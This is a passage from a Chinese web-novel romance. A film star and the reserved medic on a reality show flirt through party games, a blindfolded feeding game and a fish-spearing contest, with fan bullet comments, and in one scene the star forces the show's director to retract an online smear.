季杭决定破罐子破摔，自己主动弯下一根手指。坐在左边的韦流竹突然凑过去，狐疑地看向自己胸口。
23. 摘下来吧
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小悠声音颤颤巍巍：“乔导，这真的能拍吗？”
乔炎手里的扇子都不扇了：“拍，谁能管得了他司云起要说什么。”
场面有片刻凝滞。
很快，韦流竹不可置信道：“十年？”
司云起淡淡地瞥了他一眼。
韦流竹心直口快：“你喜欢了十年都没追上？司老师你是不是哪儿有点缺陷……”
好一个胆大妄为。
韦流竹说完后迅速往回找补：“我不是那个意思，我就是想说——”
话没说完，只见司云起背靠椅子，坐姿松散。
似乎是很认真地考虑了几秒，转头问季杭：“我也好奇，不如季医生你来检查一下我？”
季杭：“……”
“查哪里都可以的，我也想知道我是哪里有缺陷，他怎么就不喜欢我。”
话里的“他”语气被司云起刻意咬重，季杭耳廓有些泛红，众人看过来的目光已经让他麻木了。
他忽视那些目光，装的一副事不关己的样子：“那你去找他查。”
说完听到一声低笑。
司云起说：“好，我去找他。”
那短短的五个字从司云起口中说出来莫名缱绻。
就像是在众人面前约下了私会一般。
季杭轻咳一声，不自在地偏过头，说：“我没你这个经历。”
说完自己弯下一根手指。
别人见状也跟着弯了一根。
“司老师这是绝杀，比不了，比不了。”邓承说。
艾宣和韦流竹对视，用眼神传递话术：
艾宣：你听到了没，司老师说他喜欢了一个人十年，借我瓶水出现顶多才六年，你的今我来司be了！
韦流竹不服：就算我的be了，那两个影子就是真的了？你觉得季医生和司老师就认识十年了？可能吗？
艾宣：你是多迟钝啊，怎么都感受不到他们之间涌动的暧昧啊！
韦流竹：他俩？你说他俩暧昧？笑死，他俩要是暧昧，那我……
邓承突然伸手，在他们对视的目光中晃了晃，“干啥呢这是？”
韦流竹：“我们在交流。”
艾宣点头。
邓承：“？”
潘同问：“你俩在交流？没听到声音啊。”
艾宣：“不用声音。”
邓承：“现在人类都进化到这种程度了？”
潘同：“人类进化又没带上我。”
欧瑜也跟着说：“也没带上我。”
邓承摇摇头，看向季杭和司云起。
只见这两位正在……
嗯。
司云起大半个身体朝季杭那边倾斜，目光温柔专注，而季杭正偏脸看向他，侧脸线条利落俊秀，第一眼看时觉得他面对司云起的注视很是淡然。
可再一细看就会发现他耳廓到脖颈红了一大片，似乎是因为转头的动作绷得太不自然，锁骨都格外的凸起。
邓承拍了拍潘同的肩：“他俩也进化了？”
潘同赞同地点头：“又没带上咱。”
而欧瑜看这一幕看的出神，他隐约想起，曾经有一次在聚会上，丁熙年喝醉了，提到司云起时情绪很是激动，说司云起这样的人，不可能长久的红下去，因为他有个致命的把柄在自己手上。
欧瑜还问：“是什么致命的把柄？”
丁熙年即便是醉了也没全透露，只是大着嘴巴说：“他这事儿，挺常见。放在一般人身上可以，但他，嗬，就是自断前程……”
他越说越说不清楚，欧瑜只听到了前半段，不明白他到底想表达什么意思。
现在看到司云起这幅样子，他实在是难以和之前自己从网络上看到的他视为同一个人。
网上有人评价司云起，虽然是开玩笑的话，但也得到了很多人的附和。他说：就司云起平时的气场，就算他莫名其妙地扇我两巴掌我都不敢还手。
司云起没有耍大牌的毛病，和他打过交道的人都说他人很好，很尊重别人。但他身上的那种压迫感却从未消失过。
自己来这综艺的第一晚，司云起曾敲过自己房间的门。打开门后惶恐又惊喜，还以为会发生点什么。结果司云起只是站在门口，神色倨傲，目光甚至都没落在自己身上，撂下一句话：“不要在这综艺里搞小动作，这话也转达给丁熙年。”
可每次有这个季医生在的场面，司云起总是温和的……
他突然反应过来丁熙年醉酒时话里的意思了。
“小欧想什么呢，他俩这么好看？看的你都出神了。”邓承笑道。
欧瑜立刻收回视线，说：“没，我就是走了个神。”
邓承的目光偏转，又落在季杭身上，片刻，忍不住问道：“季医生，你这耳朵……怎么这样红？”
偏下楼时以为就是吃个饭，没带外套。领口宽松的衣服遮不住，季杭只能顶着潮红的耳廓扯瞎话：“红吗，我感觉不到。”
司云起终于老实地坐回了他的位置上，这让季杭松了口气。
但很快，司云起淡淡道：“很红。”
季杭：“……”
司云起垂眼，左手拿起水杯，边倒水边说：“估计是因为戴的那戒指太旧过敏了，取下来吧。”
说完事不关己地喝了口水。
季杭瞥了眼他手里的杯子，是真的一句话都不想说了。
一直到游戏结束，别的嘉宾和工作人员互道辛苦，季杭直奔乔炎，把他堵在房间门口，问：“这段不会剪进正片吧？”
乔炎信誓旦旦：“不会的，你放心。”
季杭蹙紧眉心，又和他确定了下：“真的不会剪进正片？”
乔炎：“真的。”
他们收工，三三两两上楼。
欧瑜和韦流竹走在一起，主动问道：“这个季医生是从综艺开拍就在的吗？”
韦流竹反问：“你好像对季医生格外好奇。”
欧瑜笑了笑：“流竹，随队医生算是后勤人员，你见过几个综艺里的后勤人员和常驻嘉宾一起游戏的？你就不好奇？”
韦流竹很明白在这个圈子里，很多事不听不问不好奇是最好的。而且季医生虽然性格无趣了点，但人绝对不坏。所以没什么好探究的。
“我不好奇，”韦流竹对欧瑜说，“我知道的事情一向很少。之前咱们在一个团的时候，你早就知道了要解散的消息，我还是最后一个知道的。说这个没别的意思，只是想让你搞搞清楚，在我这里问不出什么来，我先回房间了，明天见。”
欧瑜脸色不大好看，但韦流竹说的都是实话，他没什么能反驳的。
很快上楼的阵阵声音平息，嘉宾都已经回到房间了，工作人员也都已经收拾完了。
楼道里安安静静
24. 欲盖弥彰
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季杭冷淡地说：“我不。”
玄关的灯没有开，季杭站在黑暗里，渐红的耳廓被隐匿。
“好，”司云起说，“那我自己想想办法，尽量和‘他’的喜好靠近一些。”
季杭不知道要说什么，硬邦邦问出来一句：“你昨天体能消耗那么大，都不想休息的么。”
司云起坦诚：“想啊，我连站着的力气都没什么了，只想倒在床上。但是——”他话音一转，“我还是更想来见你一面。”
季杭别开脸：“现在见到了，你可以回去休息了。”
“这是催促我去休息的意思么，”司云起抵着门侧的手撤了力气，“好，我这就回去。”
转身的一刻，余光瞥见季杭的脖颈。
空落落的。
司云起止住动作，定睛看去。
那条素链果然被季杭摘下来了。
司云起心情大好，直言问道：“你是因为我看到那个戒指不高兴才取下来的吗？”
季杭下意识抬手，却摸了个空。
看着司云起期待的目光，季杭实话告诉他：“想多了，我每天洗澡都会摘下来。”
司云起：“……”
盯着季杭的脖颈又看了几秒，司云起语气不屑：“那个人送你的戒指廉价就算了，还不防水么。”
季杭绷着下巴，说：“对，不防水。”
司云起闻言更鄙夷了，“那人真是不怎么样。”
季杭注视着司云起：“你真的该回房间了。”
“好，晚安。”司云起说。
等司云起回到房间后，艾宣才从楼道口出来。
她真没故意听司老师和季医生说话，她下楼是去拍月亮了。粉丝群里有人问艾宣山上看到的月亮是不是更大一些，艾宣的房间窗户方向很逆天，所以她才出房间去外面拍。
没想到自己出去时撞见司云起，回来时又撞见司云起和季医生。
对话她没听到几句，但这两个人的语气和氛围，再结合先前的一些小事情，让艾宣觉得司老师在追季医生……
但季医生心里有个忘不了的白月光，没有答应司老师！
作为磕两个影子的庞大队伍之一，这个认知不仅没有让艾宣停止磕糖，反倒是让她觉得更好磕了。
真情侣固然甜，但追妻更有意思。
那……
司老师说他喜欢一个人十年，他喜欢的那个人，会是季医生吗？
如果是季医生，那他们两个十年前就已经认识了，但为什么季医生一直都装作不认识司老师呢？
还有那个许愿牌，司云起眼睛受伤在网上一点消息都没有，那就是在他出道前的事情，别人都以为是粉丝写的，他却那么笃定不是粉丝，证明他知道是谁？是他十年前就喜欢的那个人挂上去的吗？
疑问有好多，艾宣想不明白。
她洗漱完躺在床中央，浑身酸疼，看了眼手机，没什么消息。
昏昏欲睡之际，猛然意识到——
要是假设季医生和司老师已经认识十年了，这些问题就都有了答案。
她切换小号，进到两个影子超话。
里面还在鸣锣敲鼓过大年，翻了一圈，艾宣又退出来了。
隔日，嘉宾们身体的酸疼还是很严重，再休息一天。
导演组没有拍摄，让他们自行安排。
于是所有嘉宾和工作人员，除了必要的吃饭时间，其余所有时间都窝在房间里休息。
乔炎看着这群人，在微信上对小悠说：“你看他们，一点活力都没有。”
小悠：“导儿，你知道嘉宾们肩膀都啥样了吗，我昨晚看到韦流竹的助理碰了一下他的肩膀，他叫的比过年的猪还要惨烈。你再看看跟拍，嘉宾走了多少趟山路他们就走了多少趟。”
乔炎：“也是，我给忘了。”
于是趁着晚饭时间，乔炎去找了韦流竹一趟。
韦流竹没精打采，头发凌乱，打了一个长长的哈欠，打开门怔问：“乔导？”
乔炎：“听小悠说你肩膀很疼，我过来看看。”
他的手背在身后，拎着的包里装着各种喷剂和药膏。
韦流竹一听这话立马精神了，他生怕乔炎觉得自己太脆皮就不让自己参加录制，声音都洪亮了：“没有啊！我一点也不疼！”说完还展示了一下自己手臂上似有若无的肱二头肌。
乔炎揪紧包带，听着他的话更心疼了：“和我说实话没事的，你肯定很……”
韦流竹心道：就是和你说实话才有事啊，你要是不让我录了那不还是分分钟的事儿。
“真的一点都不疼，”韦流竹肯定道，“乔导你是不是嫌我录制过程中废话太多了，那明天的最后一趟我一句话都说，我保证！”
乔炎：“……怎么扯到录制上了。”
韦流竹：“乔导我突然想上厕所，我先去！”
门啪的一下关上了。
乔炎：……到底是哪里出了问题。
正巧遇到邓承拿着手机走出房间，乔炎问：“你在干嘛？”
邓承抬眼看到他，又对着手机说：“来正好看看，我们综艺的总导演——乔炎！”说完他已经走到乔炎身边，揽着他的肩膀说：“来打个招呼。”
突然出了下镜，乔炎被带着和粉丝朋友们打招呼。
等邓承拿着手机离开后，乔炎纳闷道：“他什么时候开始走直播这条路了？”
小悠拿着一沓工作牌路过，说：“邓哥不是有新剧要上映了吗，他在和主创们一起直播宣传新剧。应该是直播连线结束了，他在和粉丝们聊天。”
“哦。”乔炎转头看了看韦流竹闭着的房门，摇摇头，又回了自己房间。
邓承从楼上转到楼下，从酒店里到酒店外，和粉丝们一起看山看风景看月亮。
“有什么有趣的事情？”邓承重复着粉丝发的弹幕，回想了几秒，说：“前天我们写了许愿牌，我写了一张，是祝福你们的，但我不告诉你们我写的是啥，如果你们拍爬山就能看到了。来，我带你们认认路。”
他倒退着走，指引着路线：“很好找的，啊？问我写的什么？那不能说。”
“不说的话怎么知道那张许愿牌是我写的……”邓承沉默了两秒，说：“也是。”
“好吧，我没考虑到，你们不要再刷屏哈哈哈了，我带你们去看看。”
邓承找到自己的许愿牌，半蹲下，让自己的脸和许愿牌在画面里同框。
“这张是我写的，祝所有粉丝健康快乐发大财！署名邓
25. 蒙眼喂食
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两个影子又上热搜了。
拜邓承直播时的表现所赐，两个影子cp粉坚信他一定是知情者。
【姐妹们，我反复把邓承直播的录屏看了十几遍，弹幕里姐妹们说后面那个人是两个影子时，他回头看了，然后立刻转了方向说看错了，这绝对不是正常反应！这证明当时身后那个人就是我们影子哥！】
【还有个点，邓承转头那下太快了，又不是距离很近，这代表他们很熟啊！司老师已经带老婆见过朋友们了嘛~】
季杭：……
邓承？直播？
那和自己有什么关系！
这事儿司云起不知道，因为他们还在上山的路上。
最后一次货物的运送之旅格外艰辛。
“我的肩真的很疼，但我的语言系统应该已经崩溃了。”韦流竹说。
“我听着你的话挺正常的啊，”欧瑜气喘吁吁，问。
邓承笑：“那你是没注意听，流竹已经说了一路我听不懂的话了。”
“确实，”艾宣问，“你叽里咕噜说了一大堆，说啥呢。”
韦流竹看向茫茫山路，沧桑道：“其实我也不知道，就是我嘴里忍不住冒出来一些话，&*&￥…。”
艾宣：“他又开始了。”
邓承：“他继续吧，云起怎么又见不到影子了。”
“司老师体力真好啊，”艾宣抬头看了一眼，然后瞬间僵住。
她忽然想起翻两个影子超话时扫到的一条微博：
【听唯粉那边说第一天司云起扛了最重的货物来回上下山三次，体力这么好的吗，那do起来也一定很持久吧[脸红]，想吃这口饭，有太太写嘛~】
邓承见艾宣停下，还以为她是太累了想休息，说：“休息会儿？”
艾宣没反应。
邓承卸下担子朝艾宣走了两步，喊了声：“艾宣？”
“啊，”艾宣这才回神。
“想什么呢，”邓承笑道。
“我在想怎么do啊不是，在想怎么写……不是，不是，”艾宣语无伦次，挣扎三秒后看向自己的跟拍：“我被韦流竹传染了，和他一样的症状，胡言乱语。”
跟拍没反应。
艾宣：“＃@＃&……”
跟拍犹豫几秒，一言难尽地用相机点了点头。
所以到山顶和节目组汇合时，季杭觉得很奇怪。
邓承一直避着自己。艾宣也似乎在偷看自己，当自己看过去时，又发现她根本没看这边。
好奇怪。
季杭站在人群最外面，听着乔炎总结这一期来体验挑山工的意义。
不多时，乔炎说：“正式录制结束，咱们明晚返程。现在咱们再来进行一个游戏。”
听到“游戏”两个字季杭转身就要走。
乔炎：“但是嘉宾数量有限，出几个工作人员和嘉宾一起进行游戏。”
季杭刚走两步，胳膊被人拽住了。
他回头，是两个……自己叫不上名字的人。
“季医生，跟我们一起去玩吧，我们可想和你一起玩了。”
季杭蹙眉：……有没有一种可能，我们根本就不熟。
但这话季杭没有说。
他只是说：“我不喜欢游戏。”
“哎不喜欢又咋了，我还不喜欢工作呢，这不还天天工作。”
……没毛病。
在两个不太熟但很热情的工作人员“邀请”下，还有围观工作人员配合的让路，季杭顺利站到了人群第一排。
乔炎：“来分个组，咱们的工作人员们来抽名字，抽到谁就和谁一组，一个一个来。”
小悠把写有司云起名字的纸条夹在指缝，其余的纸条都在掌心。
去抽纸条的人都很有默契，没动指缝里的那张。
本来是定的季杭最后一个过去抽，小悠暗箱操作，正好季杭和司云起一组。
没想到季杭不按套路出牌，他第四个去抽了。
小悠看着他越走越近，自己指缝里的纸条也不能太明显，不然就被季医生看出来了。
没办法了。
在季杭还有三四步就站在自己身前时，小悠空着的手快速拿出指缝里的纸条，快步到季杭身前，把纸条塞给他。
季杭想说点什么，小悠歪头喊道：“好咱们快速一点哦，抽完就开始游戏了。”
“……”季杭转身，打开纸条，看到自己的队友：
司云起。
好像还是有哪里不对。
分好组后，乔炎似乎是为了让他安心似的，说：“这些都不会剪进正片，凡是涉及到各位的画面也一定会打好马赛克，放心游戏。”
季杭垂眸看着自己手心的名字，在司云起走过来时，悄悄把纸条塞进了口袋里。
游戏是蒙眼喂食，各组之间再决定谁来喂食。
喂的人和吃的人都要戴上眼罩，喂的人要先去物品台摸选自己打算喂给队友吃的食物，一组一组来，时间最短的一组获胜。
第一组是艾宣和场务。艾宣蒙着眼睛去选吃的，摸了几秒后拿起一块梨。她方向感极好，周围的人没提示几句她就已经站在场务面前了。
顺利吃完，别的组纷纷感叹：“这时间也太短了，比不过比不过。”
之后是潘同组，摸了根香蕉，在别人的提示下走向他的队友，虽然坎坷了点，但吃香蕉很顺利。
第三组是欧瑜，第四组是韦流竹，第五组是邓承。
到了第六组，司云起说：“季医生，剪刀石头布，谁输了谁来喂。”
季杭赢了。
他站到指定位置，戴上节目组送来的眼罩。
前几组选的食物要么大块要么长条，季杭觉得吃东西应该不困难。
眼前一片漆黑，他只能听着别人的声音判断司云起是不是已经选好了，是不是已经往这边来了。
“司老师，偏了偏了，左手边走。”
“不对不对，你要往右边走。”
“诶司老师，反了！”
“他咋往回走呢？”
季杭不明所以，刚想自己出个动静给司云起个方位，就听到韦流竹说：“导演，食物都选好了还能换啊？”
司云起微沉的声音传来：“这个套了层塑料袋，我刚摸出来这是什么。”顿了顿，下一句传来：“他不爱吃。”
“呦呦呦，”有人开始起哄。
乔炎回答韦流竹：“比的是用时少，又不是谁吃得好。”
韦流竹：“对哦。”
司云起又折返回去，将手里的东西放下，摸索了片刻，换了个食物。
往季杭的方向走时，别人故意捣乱，说的方向都是错的。
季杭听着他们嘈杂的指路声，默了一瞬，喊道：“司云起。”
司云起侧了下脸，辨明季杭的方向，毫不犹豫地朝前行。
脚步声越来越近，季杭轻声提醒：“司云起，你好像要走到我身前了。”
司云起的步伐放缓，嘴角勾了勾：“不知道还有几步，我数一下，季医生，快到的时候你提醒我吧。”
“一步、两步、三步……六步，七步、”司云起每走一步，就数一次。
第八步还没数出来，季杭开口：“司云起。”
“嗯，”司云起抬手，“季医生，我只走了七步。”
不知道为什么，听到这句话时，季杭的心忽然抽疼了一刹。
他不动声色，声音平静：“你可以开始喂我了。”
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起就明白怎么回事了。
“好几十个营销号，发一样的内容！连着买了五个热搜啊！”
李达越说，司云起愠色越浓。
细想起来，李达印象里的司云起是冷淡了些，但像今天这样明显的生气还是第一次见。
司云起说了句“我知道了”，转身走时，李达紧跟着补充：“老板，你也得为我出气，我要来给你报信，被他们拦在外面不让进！”
司云起停下脚步，脸色沉得厉害，但声音还是正常的：“等会你去陪着他。”
“我？”李达指着自己，眼看着司云起走向季杭。
他也跟着凑了过去，只见自己老板面容温和，对季医生说：“我找导演有点事，很快回来。”
季杭点了下头，又看向李达，隐约觉得和自己有关。
就在司云起转身时，他突然抓住了司云起的手腕。
“嗯？”司云起任他抓着没动。
季杭抬眸看着他的眉骨，“你脸上有草的汁液。”
已经干掉了，不好擦。季杭问李达：“有湿巾没？”
李达忙不迭拆开自己的包，递上湿巾。
季杭对折了下，垂着眼眸，拉过司云起的手，小心地把他的伤口周围擦净，而后才换了个面，将湿巾贴上司云起的眉骨。
擦净后，他说：“好了。”
李达将司云起的手机递过去，跟着说：“老板加油！”
导演正窝在木屋里，翘着二郎腿看网上的舆论。
猛地一下，门从外面被甩开。
导演不悦地喊了句“谁啊”，下一秒，司云起出现在门口。
“……司老师，”导演赶忙站起来，问：“您来找我？”
司云起“嗯”了声，门从外面又关上，砰的一声。
他蔑了导演一眼，好奇道：“是我哪里给了你错觉，让你觉得你可以动我身边的人。”
导演装傻道：“您在说什么啊……”
司云起拉过一旁的椅子，自顾自坐下。他漫不经心地看着木屋内的陈设，嗤笑道：“我知道，这综艺背后的投资人是丁熙年。我也能理解你，毕竟谁给钱就听谁的，这很正常。所以你区别对待我，没关系。”
导演愣愣地点头。
“但你这次，动错人了，”司云起彻底沉下脸。
导演见过很多人，但他极少会真正的害怕。唯独这次。司云起只说了这么一句，导演却觉得这并非是夸大的话或是随便唬人。
为了那个叫季杭的人，司云起真的什么都能做的出来。
导演立刻说道：“我一时糊涂，司老师您多担待，我现在就让宣发澄清舆论。”
司云起淡淡道：“官微，你的社交账号，你找的几十个营销号，全部要澄清道歉。”
导演闻言快跪下了，“营销号都是给钱做事，哪有给钱让他们道歉了啊。”
“半个小时，如果半个小时内做不到，直播就别再想进行了。”
导演欲哭无泪，说：“这真的做不到……”
司云起垂眸点开手机，看了眼热搜。
热搜上还挂着五个关于“影子哥”的词条，他突然觉得很烦躁，更没耐心，嗓音如淬了冰般冷：“还有二十九分钟。”
导演正在联系宣发，让宣发在官微发澄清，顺便给自己写个道歉文案。然后他试图讨价还价，“司老师，我本人一定发，但网上的营销号咱干预不了，这您也知道……”
话音未落，副导演的电话打了过来，急匆匆道：“导演，有四个赞助商要撤资！”
挂断电话后，导演也不敢讨价还价了，找了三四个助理让他们一起联系营销号。
又过了十分钟，副导演的电话响起，告诉他，又有六个赞助商单方面终止赞助。
目前一共就十三个赞助，竟然有十个都是冲着司云起来的，而且还到了司云起让他们终止就终止了程度。
他弟弟又跟催命似的联系他，他正赶着让营销号道歉，根本顾不上。终于有个空，他接了电话，正想骂，对面比他还急：“哥，你惹谁了啊！咱之前谈了一年才和曲导谈下来的合作吹了！曲导直接就把我删了！”
另一边助理又发来微信：“导演，下一部戏的投资方撤资了。”
他瘫坐在地：“司老师，您高抬贵手。”
司云起不为所动，冷漠道：“你买热搜，找营销号网暴他的时候，想过会对他有什么影响么。”
“就半小时，我说的你要是做不到，我还能做的更绝。”
还有一分钟半小时。
综艺官微发布两则致歉声明。
导演本人发了500字的道歉文。
47个营销号全部删除了关于季杭的微博，发布了致歉声明。
关于季杭的热搜全部消失，连带着广场全部被炸掉。
司云起离开房间，看见等在不远处的季杭和李达。
他能想到，季杭一定是猜到了什么，这人很聪明，骗不了他的。
他越走越近，才注意到季杭坐在石头上，手托着腮，眼睛阖着，大概是累极了。
忽地，季杭睁开眼，眸光准确地落在他身上。
见他什么事也没有，才松了口气。
司云起笑了下，走到他身前蹲下，细细看着这人疲惫的眉眼，说：“回房间休息。”
季杭下意识伸出手，似乎是要他扶。
司云起刚递上自己的手，突然想起了什么，声音也多了点委屈：“伤口很疼，别忘了给我上药。”
51.【我的素人朋友7】
【活久见。】
【37个营销号齐刷刷道歉，内娱头一回。】
【综艺里植入的广告牌也都已经撤完了，就剩了最后三个。】
风波告一段落。
季杭什么也没问。以他这些年对网络风向的敏感度，再结合李达专门来找司云起，他很容易就能猜到发生了什么。
看司云起找完导演回来的样子，他也不需要担心。
只是他注意到节目里无处不在的商务植入少了很多，那时司云起还没回来，季杭问李达：“节目发生了些事，对么。”
李达仍如初见时般睿智：“我不知道啊。”
季杭没为难他，自顾自说：“突然间把广告都撤掉了，看来舆论不小。”
司云起回来后，直播在很诡异的气氛中继续进行着。
这一天的内容最终结果是司云起和丁熙年都得到积分，谢桉没有。
到了晚上，期待着看司云起和影子哥同床共枕的cp粉们看到外面排列整齐的六顶帐篷，都要气笑了。
【我就想问问，这综艺是怎么做到一直让我失望的？先是那破卷轴，把我俩哥分开，现在又搞来这么多帐篷，就显着你们了！】
工作人员让他们自行挑选帐篷，季杭和司云起挑了最北边的两顶，在cp粉期待的目光下，回了各自的帐篷。
隔天季杭和冯天德需要互换组队，任务是捕鱼。
观众蹲在直播间里，见除了谢桉苏凛这组和谐外，另外两组中的对立极为明显。
每人一个鱼叉，时间截止到中午，看哪个组里的鱼最多。
等导演宣布完之后，季杭一句话也不想和丁熙年说，直接拿着鱼叉走进浅水区。
丁熙年跟在他身后喊：“朋友，你的帽子口罩不摘？”
话音刚落，司云起凉薄的声音传来：“他不摘。”
丁熙年装着好奇的样子，问司云起：“司影帝，你朋友都被邀请来参加节目了，为什么总是不露面？”
司云起走向季杭，头也没回，“关你什么事。”
弹幕里飘过一层：【关你什么事，叉好你的鱼吧。】
但事实证明，叉鱼这件事，只有看别人做最轻松。
时间过去了半个小时，他们六个人，三个组。
只有一条鱼。
仅有的一条鱼还不是被叉中的，而是苏凛连续叉鱼十几次未果后，气的一屁股坐下，正好坐到了鱼身上。
就这样，他奇迹的成为第一位捕到鱼的人。
季杭和司云起越走越近，丁熙年心思压根没在叉鱼上，两只眼睛始终盯着季杭和司云起。见他们又凑到了一起，丁熙年喊道：“这位朋友，你还记得你和谁是一组吗？”
季杭闻声回了下头，说：“怎么了。”
丁熙年很大度地笑：“那你和司影帝凑那么近，我还以为你忘记了呢。”
季杭：“没忘，但我在哪里是自由吧，怎么，你脚下鱼很多？很多的话也没见你叉到一条。”
说完，季杭猛地弯下身子，手里的鱼叉跟着他的动作叉进海里，抬起来时，上面叉着一条鱼。
刚才的动作太猛，他的帽子松了几分。
他两只手握着叉子，举起来给司云起看，因为帽子，不得不歪了下头。
下一秒，司云起贴着创口贴的手伸了过来，给他扶正了帽子。
季杭眼睛里都是光，嗓音明朗：“司云起，你落后我一条了。”
司云起闻言耸肩，问季杭：“那要是最后我比你叉的鱼多，我有什么奖励？”
季杭举着鱼从他眼前划过，快步跑开：“等你真的比我多了再说吧。”
这话一出，司云起叉鱼的准确率成功从最初的0升到100%。
他和季杭两个人，凡是下叉，必能叉中鱼。
苏凛在一旁看的眼都直了，凑近季杭，观察他的姿势和动作，却总是学不到精髓。
季杭主动提议要教他，把自己的鱼叉放到旁边，在侧后方指挥着苏凛，告诉他鱼叉要对准鱼影子的哪个方向，叉鱼时的力道等等。
被他指挥着，苏凛试了一次，差一点点。
季杭也握住他的叉鱼，和他保持着距离，并没有接触到，带着他的力道，猛地叉向一条鱼。
成功之后苏凛欢呼着跑到谢桉旁边，兴致勃勃地要教他。
季杭刚拿起自己的鱼叉，就见司云起走了过来。
季杭低头看着，“这里没鱼了。”
司云起伸出手，说：“我突然就叉不到鱼了，你也教教我吧。”
“？”季杭心道你刚刚三连叉我余光都看到了。
“那不行，”季杭倒退着走开，话是拒绝的，但嗓音里的笑意掩盖不住，“司老师，现在咱们在比赛，你见过教对手怎么叉鱼的人么。”
【？？？你俩？？？】
【哈哈哈哈我要替苏凛发声！怎么影子哥，苏凛等级太低做不了对手是吗哈哈哈哈。】
【惊！影子哥大型双标现场，教会苏凛拒绝司云起，究竟是为何，点击超话两个影子你将得到答案！】
【司云起刚叉到三条鱼，见老婆在手把手教别人叉鱼，开装了。影子哥刚教完对手，等老公这个对手来时，开演了。你俩真的，我哭死。】
【在线宣传两个影子cp，入股就看破镜重圆+久别重逢美学，保证你磕生磕死，从此这就是你的快乐老家！】
他们各自都专心叉鱼，不自觉间就离各组装鱼的水桶越来越远。
季杭换了个方向，又叉上来一条鱼转身往岸边走时，突然看见冯天德也叉到条鱼，但他把鱼放进的，并不是司云起那组的水桶。
反而是丁熙年的桶，也就是自己这组。
季杭默不作声，毕竟这是直播，他也明白网上的舆论可以被节目组操控，他不想总是让司云起去摆平。
忍了一次，第二次季杭也按捺住了。
第三次冯天德再将鱼放进丁熙年的桶里时，季杭瞥了眼岸边的导演组，没有任何人提醒。
他扔下鱼叉，走向岸边，无视见他过去匆忙离开的冯天德。在水桶前站定，他看了水桶两眼，然后提起来往司云起的水桶那边走。
起初没人知道他要做什么，直到他将丁熙年水桶里的鱼全部倒进了司云起的水桶里时，冯天德惊呼：“你疯了，你干什么！”
别人纷纷看了过去。
季杭把丁熙年的空桶放到一旁，“你总放错，我看见了三次，但应该次数会更多，公平起见，我们这组把所有的鱼都还给司云起、哦对，是还给你们组。”
冯天德气得胡子都快长出来了，“你”了半天，却一句反驳的话都没说出来，等别人都凑近后，他强撑：“又没贴名字，我认错了不行？”
“行啊，”季杭很理解，“所以我也没说你。看你这样应该是一直放错了，具体多少条不清楚，公平起见，就都给你们组。”
冯天德：“……”
丁熙年看着空空如也的
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桶：“……”
季杭拿着空桶离开，顺便和丁熙年说了一句：“他总放错，但谁的就是谁的，为了防止他还放错，这桶就跟着我吧。”
他走得潇洒，短短三五分钟的时间，又给节目组创造了新话题，连着上了两个热搜。
司云起跟在季杭身后，开口就很不要脸：“那你现在是0了？”
【？？？】
【？？？】
【？司云起你先别说，虽然我知道，但你先别说。】
季杭也在瞬间意识到这句话的意思，他眼神警告司云起闭嘴，然后说：“我叉鱼的数量是0。”
顿了顿，他补充：“但我不是。你说话说完整。”
司云起凑近他，说：“按照这个进度，你叉鱼的数量不会赶上我了，真的没有奖励吗。”
他身后有条鱼，季杭紧紧盯着，担心自己动作幅度太大惊跑了鱼，便只侧了下身，手里的鱼叉猛地刺向司云起斜后方。
噗通一声，他没站稳，扑向了司云起怀里，带着他直直地摔进水中。
鱼受了惊，倏然间消失了踪影，只有抱在一起的两个影子和飞溅起的浪花。
海域并不深，但毕竟是没防备的时刻，他们在惊慌中扣紧了彼此的手。
全身被海水侵袭，季杭却只觉得手的知觉最是明显。遑论他爱了十年，他总以为自己能波澜不惊，却总是因为和司云起简单的接触而在心头掀起阵阵海啸。
帽子在海里时就已经掉了，等他们站起身时，季杭的口罩早已湿透。还没等季杭反应过来，司云起已经拉下了他的口罩，迅速将自己的上衣脱掉罩在了他头上。
跟拍过来的一刹，司云起背起季杭，让他埋在自己颈间。
“回帐篷一趟，马上回来，”司云起对跟拍说。
两个跟拍没再继续跟，季杭一只手扶着头上的衣服，目光落在司云起裸露的胸口。
他下意识吞咽了口空气，眨了几次眼，看着司云起湿漉的胸膛，透明的水珠从自己头发上滑落，短暂的在司云起胸口停留，又顺着性感紧致的腹肌隐匿不见。
如此反复，他干脆阖上眼，说话时嗓音有几分哑：“司云起，没关系的，看到我就看到了。我选择来综艺，也已经做好了露脸的准备。而且现在网友估计早就知道我是谁了。”
“不知道，”司云起告诉他，“网上没人知道你是谁。”
“昨天你去找导演是因为我么，”季杭问，“因为我在直播过程说的话。”
司云起侧了下脸，但这人头埋着，看不清这人的表情。他长叹，说：“脖子有点疼。”
蹭的一下，埋着的头支了起来。
季杭仔细看着他的侧颈，蹙眉问：“怎么个疼？”
“很难说，”司云起轻笑，“但你亲一下，它也许就不疼了。”
季杭意识到他在逗自己，本想轻拍他一下，但他裸着上半身，犹犹豫豫的手又缩了回去。
“你没有因为我和导演起冲突吧，”季杭追问，“没必要的，你别冲动。而且他们有人问我怎么一直戴帽子口罩，你不用替我回答。我也觉得自己不像话，都来参加综艺了，还不露面。”
“明天就是最后一天，你继续戴好帽子口罩就好，不需要你露面。”司云起说。
你不需要因为我暴露在公众视线里，不需要在私人生活里也被和我绑在一起。
我爱你，你不需要走进我的世界里。
你做你自己就好，我会走向你。
52.【我的素人朋友8】
第三天。
明星嘉宾会和素人嘉宾分开完成任务，要取得最终任务点的位置线索。
明星嘉宾的任务需要一直划船绕岛环形，素人嘉宾的任务是前往树林里找任务卡，完成三项任务后，即可让明星嘉宾上岛，一同前往最终任务点。
临分开前，司云起不知从哪里拿了瓶花露水，绕着季杭喷了一圈。
他足足喷下去半瓶，气味萦绕着季杭。
季杭蹙眉看向他，很认真地问：“司云起，你是想驱蚊还是驱我。”
司云起也很认真地回答：“还能驱你么？”
弹幕：
【呦呦呦。】
【司云起又给你逮到机会了。你就逗老婆吧。】
【娶娶娶，我们就是证婚人，现在娶，立刻娶！】
季杭离他远了几步，自言自语：“我戴着口罩味道都很大，还是离你远点吧。”
他往旁边挪着，司云起一步步凑近着。
季杭很无语，下意识就说：“你不是不喜欢闻这味道么。”
很显然，司云起愣了两秒，随即勾起唇角：“确实不喜欢。”
季杭默默离他又远了几步。
司云起继续跟上，语气如闲谈般松散：“但我只是不喜欢花露水味，又不是不喜欢你。”
【？】
【？？】
【？？？】
【司云起你别说了，你太猛了，我害怕。】
【望周知，好朋友之间就是这样的啦，天天爱来爱去的[狗头]~】
旁边就是跟拍，季杭想随意地干点什么，便伸手拉了下拉链。
但他的冲锋衣拉链本来就拉到了顶，他的手从下摸索到上，最后尴尬地垂了下去。
【hhhh影子哥害羞了是吗，救命，好久没看过这么纯的人了。】
